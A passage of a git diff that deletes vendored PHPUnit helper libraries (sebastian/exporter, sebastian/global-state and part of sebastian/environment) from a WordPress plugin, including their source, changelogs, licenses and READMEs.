sprintf( - '%s with Xdebug %s', - $this->getNameWithVersion(), - phpversion('xdebug') - ); - } - } - - public function getName(): string - { - if ($this->isHHVM()) { - // @codeCoverageIgnoreStart - return 'HHVM'; - // @codeCoverageIgnoreEnd - } - - if ($this->isPHPDBG()) { - // @codeCoverageIgnoreStart - return 'PHPDBG'; - // @codeCoverageIgnoreEnd - } - - return 'PHP'; - } - - public function getVendorUrl(): string - { - if ($this->isHHVM()) { - // @codeCoverageIgnoreStart - return 'http://hhvm.com/'; - // @codeCoverageIgnoreEnd - } - - return 'https://secure.php.net/'; - } - - public function getVersion(): string - { - if ($this->isHHVM()) { - // @codeCoverageIgnoreStart - return HHVM_VERSION; - // @codeCoverageIgnoreEnd - } - - return PHP_VERSION; - } - - /** - * Returns true when the runtime used is PHP and Xdebug is loaded. - */ - public function hasXdebug(): bool - { - return ($this->isPHP() || $this->isHHVM()) && extension_loaded('xdebug'); - } - - /** - * Returns true when the runtime used is HHVM. - */ - public function isHHVM(): bool - { - return defined('HHVM_VERSION'); - } - - /** - * Returns true when the runtime used is PHP without the PHPDBG SAPI. - */ - public function isPHP(): bool - { - return !$this->isHHVM() && !$this->isPHPDBG(); - } - - /** - * Returns true when the runtime used is PHP with the PHPDBG SAPI. - */ - public function isPHPDBG(): bool - { - return PHP_SAPI === 'phpdbg' && !$this->isHHVM(); - } - - /** - * Returns true when the runtime used is PHP with the PHPDBG SAPI - * and the phpdbg_*_oplog() functions are available (PHP >= 7.0). - */ - public function hasPHPDBGCodeCoverage(): bool - { - return $this->isPHPDBG(); - } - - /** - * Returns true when the runtime used is PHP with PCOV loaded and enabled. - */ - public function hasPCOV(): bool - { - return $this->isPHP() && extension_loaded('pcov') && ini_get('pcov.enabled'); - } - - /** - * Parses the loaded php.ini file (if any) as well as all - * additional php.ini files from the additional ini dir for - * a list of all configuration settings loaded from files - * at startup. Then checks for each php.ini setting passed - * via the `$values` parameter whether this setting has - * been changed at runtime. Returns an array of strings - * where each string has the format `key=value` denoting - * the name of a changed php.ini setting with its new value. - * - * @return string[] - */ - public function getCurrentSettings(array $values): array - { - $diff = []; - $files = []; - - if ($file = php_ini_loaded_file()) { - $files[] = $file; - } - - if ($scanned = php_ini_scanned_files()) { - $files = array_merge( - $files, - array_map( - 'trim', - explode(",\n", $scanned) - ) - ); - } - - foreach ($files as $ini) { - $config = parse_ini_file($ini, true); - - foreach ($values as $value) { - $set = ini_get($value); - - if (empty($set)) { - continue; - } - - if ((!isset($config[$value]) || ($set !== $config[$value]))) { - $diff[$value] = sprintf('%s=%s', $value, $set); - } - } - } - - return $diff; - } - - private function isOpcacheActive(): bool - { - if (!extension_loaded('Zend OPcache')) { - return false; - } - - if ((PHP_SAPI === 'cli' || PHP_SAPI === 'phpdbg') && ini_get('opcache.enable_cli') === '1') { - return true; - } - - if (PHP_SAPI !== 'cli' && PHP_SAPI !== 'phpdbg' && ini_get('opcache.enable') === '1') { - return true; - } - - return false; - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/exporter/ChangeLog.md b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/exporter/ChangeLog.md deleted file mode 100644 index 32ab7051..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/exporter/ChangeLog.md +++ /dev/null @@ -1,85 +0,0 @@ -# ChangeLog - -All notable changes are documented in this file using the [Keep a CHANGELOG](https://keepachangelog.com/) principles. - -## [4.0.6] - 2024-03-02 - -### Changed - -* Do not use implicitly nullable parameters - -## [4.0.5] - 2022-09-14 - -### Fixed - -* [#47](https://github.com/sebastianbergmann/exporter/pull/47): Fix `float` export precision - -## [4.0.4] - 2021-11-11 - -### Changed - -* [#37](https://github.com/sebastianbergmann/exporter/pull/37): Improve export of closed resources - -## [4.0.3] - 2020-09-28 - -### Changed - -* Changed PHP version constraint in `composer.json` from `^7.3 || ^8.0` to `>=7.3` - -## [4.0.2] - 2020-06-26 - -### Added - -* This component is now supported on PHP 8 - -## [4.0.1] - 2020-06-15 - -### Changed - -* Tests etc. are now ignored for archive exports - -## [4.0.0] - 2020-02-07 - -### Removed - -* This component is no longer supported on PHP 7.0, PHP 7.1, and PHP 7.2 - -## [3.1.5] - 2022-09-14 - -### Fixed - -* [#47](https://github.com/sebastianbergmann/exporter/pull/47): Fix `float` export precision - -## [3.1.4] - 2021-11-11 - -### Changed - -* [#38](https://github.com/sebastianbergmann/exporter/pull/38): Improve export of closed resources - -## [3.1.3] - 2020-11-30 - -### Changed - -* Changed PHP version constraint in `composer.json` from `^7.0` to `>=7.0` - -## [3.1.2] - 2019-09-14 - -### Fixed - -* [#29](https://github.com/sebastianbergmann/exporter/pull/29): Second parameter for `str_repeat()` must be an integer - -### Removed - -* Remove HHVM-specific code that is no longer needed - -[4.0.6]: https://github.com/sebastianbergmann/exporter/compare/4.0.5...4.0.6 -[4.0.5]: https://github.com/sebastianbergmann/exporter/compare/4.0.4...4.0.5 -[4.0.4]: https://github.com/sebastianbergmann/exporter/compare/4.0.3...4.0.4 -[4.0.3]: https://github.com/sebastianbergmann/exporter/compare/4.0.2...4.0.3 -[4.0.2]: https://github.com/sebastianbergmann/exporter/compare/4.0.1...4.0.2 -[4.0.1]: https://github.com/sebastianbergmann/exporter/compare/4.0.0...4.0.1 -[4.0.0]: https://github.com/sebastianbergmann/exporter/compare/3.1.2...4.0.0 -[3.1.5]: https://github.com/sebastianbergmann/exporter/compare/3.1.4...3.1.5 -[3.1.4]: https://github.com/sebastianbergmann/exporter/compare/3.1.3...3.1.4 -[3.1.3]: https://github.com/sebastianbergmann/exporter/compare/3.1.2...3.1.3 -[3.1.2]: https://github.com/sebastianbergmann/exporter/compare/3.1.1...3.1.2 diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/exporter/LICENSE b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/exporter/LICENSE deleted file mode 100644 index 26dc7fec..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/exporter/LICENSE +++ /dev/null @@ -1,33 +0,0 @@ -Exporter - -Copyright (c) 2002-2021, Sebastian Bergmann . -All rights reserved. - -Redistribution and use in source and binary forms, with or without -modification, are permitted provided that the following conditions -are met: - - * Redistributions of source code must retain the above copyright - notice, this list of conditions and the following disclaimer. - - * Redistributions in binary form must reproduce the above copyright - notice, this list of conditions and the following disclaimer in - the documentation and/or other materials provided with the - distribution. - - * Neither the name of Sebastian Bergmann nor the names of his - contributors may be used to endorse or promote products derived - from this software without specific prior written permission. - -THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -"AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS -FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE -COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, -INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, -BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; -LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER -CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT -LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN -ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE -POSSIBILITY OF SUCH DAMAGE. diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/exporter/README.md b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/exporter/README.md deleted file mode 100644 index ed8719f5..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/exporter/README.md +++ /dev/null @@ -1,174 +0,0 @@ -# sebastian/exporter - -[![CI Status](https://github.com/sebastianbergmann/exporter/workflows/CI/badge.svg)](https://github.com/sebastianbergmann/exporter/actions) -[![Type Coverage](https://shepherd.dev/github/sebastianbergmann/exporter/coverage.svg)](https://shepherd.dev/github/sebastianbergmann/exporter) - -This component provides the functionality to export PHP variables for visualization. - -## Installation - -You can add this library as a local, per-project dependency to your project using [Composer](https://getcomposer.org/): - -``` -composer require sebastian/exporter -``` - -If you only need this library during development, for instance to run your project's test suite, then you should add it as a development-time dependency: - -``` -composer require --dev sebastian/exporter -``` - -## Usage - -Exporting: - -```php - '' - 'string' => '' - 'code' => 0 - 'file' => '/home/sebastianbergmann/test.php' - 'line' => 34 - 'previous' => null -) -*/ - -print $exporter->export(new Exception); -``` - -## Data Types - -Exporting simple types: - -```php -export(46); - -// 4.0 -print $exporter->export(4.0); - -// 'hello, world!' -print $exporter->export('hello, world!'); - -// false -print $exporter->export(false); - -// NAN -print $exporter->export(acos(8)); - -// -INF -print $exporter->export(log(0)); - -// null -print $exporter->export(null); - -// resource(13) of type (stream) -print $exporter->export(fopen('php://stderr', 'w')); - -// Binary String: 0x000102030405 -print $exporter->export(chr(0) . chr(1) . chr(2) . chr(3) . chr(4) . chr(5)); -``` - -Exporting complex types: - -```php - Array &1 ( - 0 => 1 - 1 => 2 - 2 => 3 - ) - 1 => Array &2 ( - 0 => '' - 1 => 0 - 2 => false - ) -) -*/ - -print $exporter->export(array(array(1,2,3), array("",0,FALSE))); - -/* -Array &0 ( - 'self' => Array &1 ( - 'self' => Array &1 - ) -) -*/ - -$array = array(); -$array['self'] = &$array; -print $exporter->export($array); - -/* -stdClass Object &0000000003a66dcc0000000025e723e2 ( - 'self' => stdClass Object &0000000003a66dcc0000000025e723e2 -) -*/ - -$obj = new stdClass(); -$obj->self = $obj; -print $exporter->export($obj); -``` - -Compact exports: - -```php -shortenedExport(array()); - -// Array (...) -print $exporter->shortenedExport(array(1,2,3,4,5)); - -// stdClass Object () -print $exporter->shortenedExport(new stdClass); - -// Exception Object (...) -print $exporter->shortenedExport(new Exception); - -// this\nis\na\nsuper\nlong\nstring\nt...\nspace -print $exporter->shortenedExport( -<<=7.3", - "sebastian/recursion-context": "^4.0" - }, - "require-dev": { - "phpunit/phpunit": "^9.3", - "ext-mbstring": "*" - }, - "autoload": { - "classmap": [ - "src/" - ] - }, - "extra": { - "branch-alias": { - "dev-master": "4.0-dev" - } - } -} - diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/exporter/src/Exporter.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/exporter/src/Exporter.php deleted file mode 100644 index 5d85b13a..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/exporter/src/Exporter.php +++ /dev/null @@ -1,346 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace SebastianBergmann\Exporter; - -use function bin2hex; -use function count; -use function function_exists; -use function get_class; -use function get_resource_type; -use function gettype; -use function implode; -use function ini_get; -use function ini_set; -use function is_array; -use function is_float; -use function is_object; -use function is_resource; -use function is_string; -use function mb_strlen; -use function mb_substr; -use function preg_match; -use function spl_object_hash; -use function sprintf; -use function str_repeat; -use function str_replace; -use function strlen; -use function substr; -use function var_export; -use SebastianBergmann\RecursionContext\Context; -use SplObjectStorage; - -/** - * A nifty utility for visualizing PHP variables. - * - * - * export(new Exception); - * - */ -class Exporter -{ - /** - * Exports a value as a string. - * - * The output of this method is similar to the output of print_r(), but - * improved in various aspects: - * - * - NULL is rendered as "null" (instead of "") - * - TRUE is rendered as "true" (instead of "1") - * - FALSE is rendered as "false" (instead of "") - * - Strings are always quoted with single quotes - * - Carriage returns and newlines are normalized to \n - * - Recursion and repeated rendering is treated properly - * - * @param int $indentation The indentation level of the 2nd+ line - * - * @return string - */ - public function export($value, $indentation = 0) - { - return $this->recursiveExport($value, $indentation); - } - - /** - * @param array $data - * @param Context $context - * - * @return string - */ - public function shortenedRecursiveExport(&$data, ?Context $context = null) - { - $result = []; - $exporter = new self(); - - if (!$context) { - $context = new Context; - } - - $array = $data; - $context->add($data); - - foreach ($array as $key => $value) { - if (is_array($value)) { - if ($context->contains($data[$key]) !== false) { - $result[] = '*RECURSION*'; - } else { - $result[] = sprintf( - 'array(%s)', - $this->shortenedRecursiveExport($data[$key], $context) - ); - } - } else { - $result[] = $exporter->shortenedExport($value); - } - } - - return implode(', ', $result); - } - - /** - * Exports a value into a single-line string. - * - * The output of this method is similar to the output of - * SebastianBergmann\Exporter\Exporter::export(). - * - * Newlines are replaced by the visible string '\n'. - * Contents of arrays and objects (if any) are replaced by '...'. - * - * @return string - * - * @see SebastianBergmann\Exporter\Exporter::export - */ - public function shortenedExport($value) - { - if (is_string($value)) { - $string = str_replace("\n", '', $this->export($value)); - - if (function_exists('mb_strlen')) { - if (mb_strlen($string) > 40) { - $string = mb_substr($string, 0, 30) . '...' . mb_substr($string, -7); - } - } else { - if (strlen($string) > 40) { - $string = substr($string, 0, 30) . '...' . substr($string, -7); - } - } - - return $string; - } - - if (is_object($value)) { - return sprintf( - '%s Object (%s)', - get_class($value), - count($this->toArray($value)) > 0 ? '...' : '' - ); - } - - if (is_array($value)) { - return sprintf( - 'Array (%s)', - count($value) > 0 ? '...' : '' - ); - } - - return $this->export($value); - } - - /** - * Converts an object to an array containing all of its private, protected - * and public properties. - * - * @return array - */ - public function toArray($value) - { - if (!is_object($value)) { - return (array) $value; - } - - $array = []; - - foreach ((array) $value as $key => $val) { - // Exception traces commonly reference hundreds to thousands of - // objects currently loaded in memory. Including them in the result - // has a severe negative performance impact. - if ("\0Error\0trace" === $key || "\0Exception\0trace" === $key) { - continue; - } - - // properties are transformed to keys in the following way: - // private $property => "\0Classname\0property" - // protected $property => "\0*\0property" - // public $property => "property" - if (preg_match('/^\0.+\0(.+)$/', (string) $key, $matches)) { - $key = $matches[1]; - } - - // See https://github.com/php/php-src/commit/5721132 - if ($key === "\0gcdata") { - continue; - } - - $array[$key] = $val; - } - - // Some internal classes like SplObjectStorage don't work with the - // above (fast) mechanism nor with reflection in Zend. - // Format the output similarly to print_r() in this case - if ($value instanceof SplObjectStorage) { - foreach ($value as $key => $val) { - $array[spl_object_hash($val)] = [ - 'obj' => $val, - 'inf' => $value->getInfo(), - ]; - } - } - - return $array; - } - - /** - * Recursive implementation of export. - * - * @param mixed $value The value to export - * @param int $indentation The indentation level of the 2nd+ line - * @param \SebastianBergmann\RecursionContext\Context $processed Previously processed objects - * - * @return string - * - * @see SebastianBergmann\Exporter\Exporter::export - */ - protected function recursiveExport(&$value, $indentation, $processed = null) - { - if ($value === null) { - return 'null'; - } - - if ($value === true) { - return 'true'; - } - - if ($value === false) { - return 'false'; - } - - if (is_float($value)) { - $precisionBackup = ini_get('precision'); - - ini_set('precision', '-1'); - - try { - $valueStr = (string) $value; - - if ((string) (int) $value === $valueStr) { - return $valueStr . '.0'; - } - - return $valueStr; - } finally { - ini_set('precision', $precisionBackup); - } - } - - if (gettype($value) === 'resource (closed)') { - return 'resource (closed)'; - } - - if (is_resource($value)) { - return sprintf( - 'resource(%d) of type (%s)', - $value, - get_resource_type($value) - ); - } - - if (is_string($value)) { - // Match for most non printable chars somewhat taking multibyte chars into account - if (preg_match('/[^\x09-\x0d\x1b\x20-\xff]/', $value)) { - return 'Binary String: 0x' . bin2hex($value); - } - - return "'" . - str_replace( - '', - "\n", - str_replace( - ["\r\n", "\n\r", "\r", "\n"], - ['\r\n', '\n\r', '\r', '\n'], - $value - ) - ) . - "'"; - } - - $whitespace = str_repeat(' ', 4 * $indentation); - - if (!$processed) { - $processed = new Context; - } - - if (is_array($value)) { - if (($key = $processed->contains($value)) !== false) { - return 'Array &' . $key; - } - - $array = $value; - $key = $processed->add($value); - $values = ''; - - if (count($array) > 0) { - foreach ($array as $k => $v) { - $values .= sprintf( - '%s %s => %s' . "\n", - $whitespace, - $this->recursiveExport($k, $indentation), - $this->recursiveExport($value[$k], $indentation + 1, $processed) - ); - } - - $values = "\n" . $values . $whitespace; - } - - return sprintf('Array &%s (%s)', $key, $values); - } - - if (is_object($value)) { - $class = get_class($value); - - if ($hash = $processed->contains($value)) { - return sprintf('%s Object &%s', $class, $hash); - } - - $hash = $processed->add($value); - $values = ''; - $array = $this->toArray($value); - - if (count($array) > 0) { - foreach ($array as $k => $v) { - $values .= sprintf( - '%s %s => %s' . "\n", - $whitespace, - $this->recursiveExport($k, $indentation), - $this->recursiveExport($v, $indentation + 1, $processed) - ); - } - - $values = "\n" . $values . $whitespace; - } - - return sprintf('%s Object &%s (%s)', $class, $hash, $values); - } - - return var_export($value, true); - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/global-state/ChangeLog.md b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/global-state/ChangeLog.md deleted file mode 100644 index e76f84b8..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/global-state/ChangeLog.md +++ /dev/null @@ -1,93 +0,0 @@ -# Changes in sebastian/global-state - -All notable changes in `sebastian/global-state` are documented in this file using the [Keep a CHANGELOG](https://keepachangelog.com/) principles. - -## [5.0.7] - 2024-03-02 - -### Changed - -* Do not use implicitly nullable parameters - -## [5.0.6] - 2023-08-02 - -### Changed - -* Changed usage of `ReflectionProperty::setValue()` to be compatible with PHP 8.3 - -## [5.0.5] - 2022-02-14 - -### Fixed - -* [#34](https://github.com/sebastianbergmann/global-state/pull/34): Uninitialised typed static properties are not handled correctly - -## [5.0.4] - 2022-02-10 - -### Fixed - -* The `$includeTraits` parameter of `SebastianBergmann\GlobalState\Snapshot::__construct()` is not respected - -## [5.0.3] - 2021-06-11 - -### Changed - -* `SebastianBergmann\GlobalState\CodeExporter::globalVariables()` now generates code that is compatible with PHP 8.1 - -## [5.0.2] - 2020-10-26 - -### Fixed - -* `SebastianBergmann\GlobalState\Exception` now correctly extends `\Throwable` - -## [5.0.1] - 2020-09-28 - -### Changed - -* Changed PHP version constraint in `composer.json` from `^7.3 || ^8.0` to `>=7.3` - -## [5.0.0] - 2020-08-07 - -### Changed - -* The `SebastianBergmann\GlobalState\Blacklist` class has been renamed to `SebastianBergmann\GlobalState\ExcludeList` - -## [4.0.0] - 2020-02-07 - -### Removed - -* This component is no longer supported on PHP 7.2 - -## [3.0.2] - 2022-02-10 - -### Fixed - -* The `$includeTraits` parameter of `SebastianBergmann\GlobalState\Snapshot::__construct()` is not respected - -## [3.0.1] - 2020-11-30 - -### Changed - -* Changed PHP version constraint in `composer.json` from `^7.2` to `>=7.2` - -## [3.0.0] - 2019-02-01 - -### Changed - -* `Snapshot::canBeSerialized()` now recursively checks arrays and object graphs for variables that cannot be serialized - -### Removed - -* This component is no longer supported on PHP 7.0 and PHP 7.1 - -[5.0.7]: https://github.com/sebastianbergmann/global-state/compare/5.0.6...5.0.7 -[5.0.6]: https://github.com/sebastianbergmann/global-state/compare/5.0.5...5.0.6 -[5.0.5]: https://github.com/sebastianbergmann/global-state/compare/5.0.4...5.0.5 -[5.0.4]: https://github.com/sebastianbergmann/global-state/compare/5.0.3...5.0.4 -[5.0.3]: https://github.com/sebastianbergmann/global-state/compare/5.0.2...5.0.3 -[5.0.2]: https://github.com/sebastianbergmann/global-state/compare/5.0.1...5.0.2 -[5.0.1]: https://github.com/sebastianbergmann/global-state/compare/5.0.0...5.0.1 -[5.0.0]: https://github.com/sebastianbergmann/global-state/compare/4.0.0...5.0.0 -[4.0.0]: https://github.com/sebastianbergmann/global-state/compare/3.0.2...4.0.0 -[3.0.2]: https://github.com/sebastianbergmann/phpunit/compare/3.0.1...3.0.2 -[3.0.1]: https://github.com/sebastianbergmann/phpunit/compare/3.0.0...3.0.1 -[3.0.0]: https://github.com/sebastianbergmann/phpunit/compare/2.0.0...3.0.0 - diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/global-state/LICENSE b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/global-state/LICENSE deleted file mode 100644 index 240190bd..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/global-state/LICENSE +++ /dev/null @@ -1,33 +0,0 @@ -sebastian/global-state - -Copyright (c) 2001-2022, Sebastian Bergmann . -All rights reserved. - -Redistribution and use in source and binary forms, with or without -modification, are permitted provided that the following conditions -are met: - - * Redistributions of source code must retain the above copyright - notice, this list of conditions and the following disclaimer. - - * Redistributions in binary form must reproduce the above copyright - notice, this list of conditions and the following disclaimer in - the documentation and/or other materials provided with the - distribution. - - * Neither the name of Sebastian Bergmann nor the names of his - contributors may be used to endorse or promote products derived - from this software without specific prior written permission. - -THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -"AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS -FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE -COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, -INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, -BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; -LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER -CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT -LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN -ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE -POSSIBILITY OF SUCH DAMAGE. diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/global-state/README.md b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/global-state/README.md deleted file mode 100644 index af15bedd..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/global-state/README.md +++ /dev/null @@ -1,20 +0,0 @@ -# sebastian/global-state - -[![CI Status](https://github.com/sebastianbergmann/global-state/workflows/CI/badge.svg)](https://github.com/sebastianbergmann/global-state/actions) -[![Type Coverage](https://shepherd.dev/github/sebastianbergmann/global-state/coverage.svg)](https://shepherd.dev/github/sebastianbergmann/global-state) - -Snapshotting of global state, factored out of PHPUnit into a stand-alone component. - -## Installation - -You can add this library as a local, per-project dependency to your project using [Composer](https://getcomposer.org/): - -``` -composer require sebastian/global-state -``` - -If you only need this library during development, for instance to run your project's test suite, then you should add it as a development-time dependency: - -``` -composer require --dev sebastian/global-state -``` diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/global-state/composer.json b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/global-state/composer.json deleted file mode 100644 index 0fef446a..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/global-state/composer.json +++ /dev/null @@ -1,51 +0,0 @@ -{ - "name": "sebastian/global-state", - "description": "Snapshotting of global state", - "keywords": ["global state"], - "homepage": "http://www.github.com/sebastianbergmann/global-state", - "license": "BSD-3-Clause", - "authors": [ - { - "name": "Sebastian Bergmann", - "email": "sebastian@phpunit.de" - } - ], - "prefer-stable": true, - "config": { - "platform": { - "php": "7.3.0" - }, - "optimize-autoloader": true, - "sort-packages": true - }, - "require": { - "php": ">=7.3", - "sebastian/object-reflector": "^2.0", - "sebastian/recursion-context": "^4.0" - }, - "require-dev": { - "ext-dom": "*", - "phpunit/phpunit": "^9.3" - }, - "suggest": { - "ext-uopz": "*" - }, - "autoload": { - "classmap": [ - "src/" - ] - }, - "autoload-dev": { - "classmap": [ - "tests/_fixture/" - ], - "files": [ - "tests/_fixture/SnapshotFunctions.php" - ] - }, - "extra": { - "branch-alias": { - "dev-master": "5.0-dev" - } - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/global-state/src/CodeExporter.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/global-state/src/CodeExporter.php deleted file mode 100644 index 71cdbf50..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/global-state/src/CodeExporter.php +++ /dev/null @@ -1,109 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace SebastianBergmann\GlobalState; - -use const PHP_EOL; -use function is_array; -use function is_scalar; -use function serialize; -use function sprintf; -use function var_export; - -/** - * Exports parts of a Snapshot as PHP code. - */ -final class CodeExporter -{ - public function constants(Snapshot $snapshot): string - { - $result = ''; - - foreach ($snapshot->constants() as $name => $value) { - $result .= sprintf( - 'if (!defined(\'%s\')) define(\'%s\', %s);' . "\n", - $name, - $name, - $this->exportVariable($value) - ); - } - - return $result; - } - - public function globalVariables(Snapshot $snapshot): string - { - $result = <<<'EOT' -call_user_func( - function () - { - foreach (array_keys($GLOBALS) as $key) { - unset($GLOBALS[$key]); - } - } -); - - -EOT; - - foreach ($snapshot->globalVariables() as $name => $value) { - $result .= sprintf( - '$GLOBALS[%s] = %s;' . PHP_EOL, - $this->exportVariable($name), - $this->exportVariable($value) - ); - } - - return $result; - } - - public function iniSettings(Snapshot $snapshot): string - { - $result = ''; - - foreach ($snapshot->iniSettings() as $key => $value) { - $result .= sprintf( - '@ini_set(%s, %s);' . "\n", - $this->exportVariable($key), - $this->exportVariable($value) - ); - } - - return $result; - } - - private function exportVariable($variable): string - { - if (is_scalar($variable) || null === $variable || - (is_array($variable) && $this->arrayOnlyContainsScalars($variable))) { - return var_export($variable, true); - } - - return 'unserialize(' . var_export(serialize($variable), true) . ')'; - } - - private function arrayOnlyContainsScalars(array $array): bool - { - $result = true; - - foreach ($array as $element) { - if (is_array($element)) { - $result = $this->arrayOnlyContainsScalars($element); - } elseif (!is_scalar($element) && null !== $element) { - $result = false; - } - - if ($result === false) { - break; - } - } - - return $result; - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/global-state/src/ExcludeList.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/global-state/src/ExcludeList.php deleted file mode 100644 index 5631f118..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/global-state/src/ExcludeList.php +++ /dev/null @@ -1,119 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace SebastianBergmann\GlobalState; - -use function in_array; -use function strpos; -use ReflectionClass; - -final class ExcludeList -{ - /** - * @var array - */ - private $globalVariables = []; - - /** - * @var string[] - */ - private $classes = []; - - /** - * @var string[] - */ - private $classNamePrefixes = []; - - /** - * @var string[] - */ - private $parentClasses = []; - - /** - * @var string[] - */ - private $interfaces = []; - - /** - * @var array - */ - private $staticAttributes = []; - - public function addGlobalVariable(string $variableName): void - { - $this->globalVariables[$variableName] = true; - } - - public function addClass(string $className): void - { - $this->classes[] = $className; - } - - public function addSubclassesOf(string $className): void - { - $this->parentClasses[] = $className; - } - - public function addImplementorsOf(string $interfaceName): void - { - $this->interfaces[] = $interfaceName; - } - - public function addClassNamePrefix(string $classNamePrefix): void - { - $this->classNamePrefixes[] = $classNamePrefix; - } - - public function addStaticAttribute(string $className, string $attributeName): void - { - if (!isset($this->staticAttributes[$className])) { - $this->staticAttributes[$className] = []; - } - - $this->staticAttributes[$className][$attributeName] = true; - } - - public function isGlobalVariableExcluded(string $variableName): bool - { - return isset($this->globalVariables[$variableName]); - } - - public function isStaticAttributeExcluded(string $className, string $attributeName): bool - { - if (in_array($className, $this->classes, true)) { - return true; - } - - foreach ($this->classNamePrefixes as $prefix) { - if (strpos($className, $prefix) === 0) { - return true; - } - } - - $class = new ReflectionClass($className); - - foreach ($this->parentClasses as $type) { - if ($class->isSubclassOf($type)) { - return true; - } - } - - foreach ($this->interfaces as $type) { - if ($class->implementsInterface($type)) { - return true; - } - } - - if (isset($this->staticAttributes[$className][$attributeName])) { - return true; - } - - return false; - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/global-state/src/Restorer.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/global-state/src/Restorer.php deleted file mode 100644 index ab145ce2..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/global-state/src/Restorer.php +++ /dev/null @@ -1,143 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace SebastianBergmann\GlobalState; - -use function array_diff; -use function array_key_exists; -use function array_keys; -use function array_merge; -use function function_exists; -use function get_defined_functions; -use function in_array; -use function is_array; -use ReflectionClass; -use ReflectionProperty; - -/** - * Restorer of snapshots of global state. - */ -class Restorer -{ - /** - * Deletes function definitions that are not defined in a snapshot. - * - * @throws RuntimeException when the uopz_delete() function is not available - * - * @see https://github.com/krakjoe/uopz - */ - public function restoreFunctions(Snapshot $snapshot): void - { - if (!function_exists('uopz_delete')) { - throw new RuntimeException('The uopz_delete() function is required for this operation'); - } - - $functions = get_defined_functions(); - - foreach (array_diff($functions['user'], $snapshot->functions()) as $function) { - uopz_delete($function); - } - } - - /** - * Restores all global and super-global variables from a snapshot. - */ - public function restoreGlobalVariables(Snapshot $snapshot): void - { - $superGlobalArrays = 